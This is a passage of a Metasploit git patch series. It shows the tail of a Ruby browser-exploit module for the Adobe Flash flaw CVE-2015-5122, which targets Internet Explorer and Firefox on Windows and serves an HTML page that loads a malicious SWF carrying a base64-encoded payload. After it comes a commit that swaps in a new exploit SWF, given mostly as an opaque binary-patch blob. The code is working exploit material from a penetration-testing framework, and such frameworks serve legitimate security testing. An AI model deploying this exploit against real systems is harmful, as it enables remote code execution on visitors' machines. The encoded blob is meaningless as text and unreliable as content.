+ end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.203') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 06 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' + print_warning("Target setup not supported") + send_not_found(cli) + return + end + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + end + + html_template = %Q|<html> + <body> + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> + <param name="movie" value="<%=swf_random%>" /> + <param name="allowScriptAccess" value="always" /> + <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> + <param name="Play" value="true" /> + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> + </object> + </body> + </html> + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5122', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end From 299978d0e2df8003f97c673a55f66c9894fc267a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 11 Jul 2015 00:36:32 -0500 Subject: [PATCH 0726/1013] Put again old exploiter --- data/exploits/CVE-2015-5122/msf.swf | Bin 43247 -> 43267 bytes .../exploits/CVE-2015-5122/Exploiter.as | 116 ++---------------- 2 files changed, 11 insertions(+), 105 deletions(-) diff --git a/data/exploits/CVE-2015-5122/msf.swf b/data/exploits/CVE-2015-5122/msf.swf index ae20d7f534af3eb3c4c3a40e6314885e5c092202..7a333645563f5ebf6bf37f5b917a2cf63fb6dc67 100755 GIT binary patch delta 43171 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 